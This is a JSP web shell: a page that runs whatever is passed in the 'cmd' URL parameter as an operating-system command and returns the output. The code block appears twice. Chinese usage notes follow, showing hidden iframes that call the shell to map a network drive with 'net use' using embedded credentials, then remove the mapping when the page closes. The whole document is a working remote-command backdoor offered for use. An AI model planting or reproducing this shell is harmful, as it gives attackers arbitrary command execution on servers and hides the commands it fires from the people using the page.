<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
用法:cmd.jsp?cmd=你要执行的命令
例:在html中 创建映射磁盘Z
<iframe src="../cmd.jsp?cmd=net use z: \\ ip \filename password /user:username" style="display:none">
</iframe>
//关闭页面时 关闭映射磁盘
function onBeforeUnload(){
var str = "<iframe src='../cmd.jsp?cmd=net use z: /del /y' style='display:none'>"+"</iframe>";
var temp=document.getElementById("close").innerHTML;
document.getElementById("close").innerHTML=temp+str;
}